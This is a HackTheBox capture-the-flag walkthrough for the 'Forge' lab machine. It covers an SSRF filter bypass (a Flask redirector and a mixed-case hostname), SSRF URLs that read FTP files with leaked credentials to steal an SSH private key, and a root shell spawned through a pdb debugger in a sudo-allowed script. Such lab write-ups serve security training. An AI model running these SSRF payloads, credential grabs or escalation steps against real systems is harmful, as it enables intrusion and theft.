HackTheBox - Forge

HackTheBox - Forge

Forge features a website that has SSRF vulnerability on its upload page. Leveraging this SSRF allows me to access the internal admin portal to obtain an FTP account. The SSRF vulnerability also exists on this admin portal and can be used to access the FTP server to retrieve the SSH key of the user. For the root part, there’s a sudo right on a Python script that spawns an interactive debugging session when an exception event occurs. Since the script can be run as root, it is possible to abuse the interactive debugging session to spawn a root shell.

Skills Learned

  • SSRF bypass filters
  • Code Review

Tools

  • nmap
  • ffuf

Reconnaissance

Nmap

Scanning TCP ports with nmap discovers 2 open ports: SSH and HTTP. There’s also a filtered FTP service.

→ kali@kali «forge» «10.10.14.4» 
$ nmap -sC -sV -oA nmap/default-script-forge 10.10.11.111   
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-13 10:54 EDT
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.066s latency).
Not shown: 997 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds

Beside the OS and service version, the results didn’t show any interesting details.

I will just add forge.htb to my /etc/hosts.

→ kali@kali «~» «10.10.15.190» 
$ echo '10.10.11.111 forge.htb' | sudo tee -a /etc/hosts

Enumeration

TCP 80 - forge.htb

The main website shows it’s a gallery of images.

image-20210913200846701

Wapplyzer detects the site is running PHP.

image-20221013203144811

There’s an upload page /upload. It allows visitors to upload a file from local disk or a URL.

image-20210913201318274

Testing Upload

I’ll upload a legit JPG file. On submitting, it returns with a new URL to access the file.

image-20221013210552525

Since the filename get randomized, I assume it’s not kind of IDOR attack.

→ kali@kali «tools» «10.10.15.190» 
$ curl -IL http://forge.htb/uploads/nMu63RoLNdk8BoE2a7b4 
HTTP/1.1 200 OK
Date: Thu, 13 Sept 2021 14:06:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Disposition: inline; filename=nMu63RoLNdk8BoE2a7b4
Content-Length: 51142
Last-Modified: Thu, 13 Sept 2021 14:05:20 GMT
Cache-Control: no-cache
Content-Type: image/jpg

This time I’ll try the upload from url option. I’ll start a Python web server listening on port 8000. On submitting, there is a request coming from Forge’s IP.

→ kali@kali «~» «10.10.15.190» 
$ hostit
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.111 - - [13/Sep/2021 09:23:38] "GET /innocent.jpg HTTP/1.1" 200 -

With netcat, I could see the detailed request, where the website uses Python request module to fetch my hosted file. So I’m guessing that the site is running Python (most likely Flask).

→ kali@kali «~» «10.10.15.190» 
$ nc -nvlp 8000 
listening on [any] 8000 ...
connect to [10.10.15.190] from (UNKNOWN) [10.10.11.111] 43242
GET /innocent.jpg HTTP/1.1
Host: 10.10.15.190:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

too many output retries : Broken pipe

With non existent item, it shows an error which can proves it’s running Python in the back end.

When attempting to access localhost and 127.0.0.1 , the website tells these are blacklisted.

How about FTP? Well I get a message that tells it only supports http and https. Therefore, I shouldn’t be able to access the FTP server with this.

image-20221013213206158

Vhost Enumeration

Fuzzing the vhost with ffuf reveals an interesting subdomain: admin.forge.htb.

→ kali@kali «tools» «10.10.15.190» 
$ ffuf -u http://forge.htb -H "Host: FUZZ.forge.htb" -mc 200 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://forge.htb
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.forge.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]

I’ll add that to my /etc/hosts.

→ kali@kali «tools» «10.10.15.190» 
$ echo '10.10.11.111 admin.forge.htb' | sudo tee -a /etc/hosts

TCP 80 - admin.forge.htb

Unfortunately, admin.forge.htb is not reachable from external.

image-20210913210859484

Accessing this domain from the upload feature would return the blacklisted address message.

image-20210913212229777

Foothold

Shell as user

SSRF Bypass with Domain Redirection

Several SSRF bypass payload with number-based are actually works, but I’ve to find domain-based bypass since my interest is the admin.forge.htb.

admin.forge.htb and forge.htb are name-based vhost

The requests.get() function always follow redirection by default. Knowing this, there’s a high chance that bypass the SSRF filter using domain redirection will work.

Here’s the strategy:

  • Host a simple site (I’ll name it redirector) that always redirect any incoming request to http://admin.forge.htb.
  • Submit this site URL on the upload page at forge.htb.

And here’s a visualization of how the SSRF filter works (based on my assumptions).

image-20221015214529436

I’ll write the redirector using Flask.

redirector.py:

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def index():
    return redirect("http://admin.forge.htb/",code=302)
    
app.run(host='0.0.0.0', port=80)

I’ll run the redirector with:

→ kali@kali «exploits» «10.10.14.13» 
$ python3 redirector.py

After the redirector is running, I’ll head to the upload page, intercept the upload request and change the URL value to my machine IP.

On submitting the request, I see there’s a success message in the response.

image-20221015112628345

A little explanation:

  1. My IP is not in the blacklist address, so the web starts making a request to it, where the redirector is running.
  2. Since requests.get() follows redirection by default, the request goes straight to the site I intended to redirect to, which is admin.forge.htb and eventually bypasses the if condition that checks for blacklisted addresses.

SSRF Bypass with Mixed Case

Another way to bypass the filters is mixing upper case and lower case on the domain name like admin.forge.htB:

image-20210913214359458

Since mixed case is less complicated, I’ll prefer using it here.

With curl, I could see the page source of admin.forge.htb. There’s two links here: /announcements and another /upload.

→ kali@kali «forge» «10.10.14.13» 
$ curl -s http://forge.htb/uploads/mn4G5G1B5oaF2SXMwbHH
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

Accessing /announcements via SSRF reveals interesting information:

  • An FTP account
  • The upload feature in this admin portal now supports FTP and upload via query string u (/upload?u=value).
→ kali@kali «forge» «10.10.14.4» 
$ curl -s http://forge.htb/uploads/NatO83YkYfhzkl9fG9MB
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>

FTP Access

From here, I can try accessing the FTP service via the upload feature on the admin portal using the same SSRF bypass technique.

image-20221015121407530

It seems the FTP host the user home dir. The user flag is done here.

→ kali@kali «forge» «10.10.14.4» 
$ curl -s http://forge.htb/uploads/0c47HKRZiXNh3F5smn2z
drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Sep 13 08:17 user.txt

SSH Access

For more stable access, I’ll check if there’s an SSH key:

http://admin.forge.htB/upload?u=ftp://:heightofsecurity123!@forge.htB/.ssh/

It’s there.

→ kali@kali «forge» «10.10.14.4» 
$ curl -s http://forge.htb/uploads/AC1f3sbHcufWHGGTVpIG 
-rw-------    1 1000     1000          564 May 31 12:35 authorized_keys
-rw-------    1 1000     1000         2590 May 20 08:30 id_rsa
-rw-------    1 1000     1000          564 May 20 08:30 id_rsa.pub

I’ll grab that with

http://admin.forge.htB/upload?u=ftp://:heightofsecurity123!@forge.htB/.ssh/id_rsa

And save it to my machine.

→ kali@kali «forge» «10.10.14.4» 
$ curl -s http://forge.htb/uploads/hvcNBsh1xwD4c6Nyq0tP | tee user_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...[SNIP]...
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----

Now I can SSH login as user.

→ kali@kali «forge» «10.10.14.4» 
$ chmod 600 user_rsa && ssh -i user_rsa user@forge.htb  
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

...[SNIP]...

  System information as of Mon 13 Sep 2021 03:12:44 PM UTC

  System load:  0.0               Processes:             223
  Usage of /:   44.5% of 6.82GB   Users logged in:       0
  Memory usage: 26%               IPv4 address for eth0: 10.10.11.111
  Swap usage:   0%

...[SNIP]...

Last login: Mon Sep 13 13:30:33 2021 from 10.10.14.141
user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)

Privilege Escalation

Shell as root

Enumeration

user is allowed to run /opt/remote-manage.py as root.

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:~$ ls -l /opt/remote-manage.py
-rwxr-xr-x 1 root root 1447 May 31 12:09 /opt/remote-manage.py

Source Code Review

Looking at the source code, this script is a simple tool for monitoring process, disk, and network sockets.

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

There’s a hardcoded password of secretadminpassword. One that stands out in this code is the error/exception handling, where it calls Python debugger (pdb). Since PDB is an interactive debugger, it is possible to run Python code during a debug session.

To get into that debug session, I need to cause an error to the tool and this can be achieved by sending a SIGINT.

Exploitation

First, I’ll run the script with sudo and I’ll open another SSH sessions.

user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:51411

On the second SSH session, I’ll connect to 26713 using nc and immediately send a SIGINT with CTRL+C.

user@forge:~$ nc 127.0.0.1 51411
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
^C

On the first SSH session, it’s now has the Pdb prompt (debug session).

user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:51411
invalid literal for int() with base 10: b''
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) 

Since it’s a root process, I’ve full access now on the system.

image-20221015130859441

I’ll run os.system('/bin/bash') to spawn a bash shell and grab the root flag.

(Pdb) os.system('/bin/bash')
root@forge:/opt# ls -l /root/root.txt 
-rw------- 1 root root 33 Oct 15 03:08 /root/root.txt
root@forge:/opt# 
root@forge:/opt# cat /root/root.txt 
73930b...[SNIP]...

Reference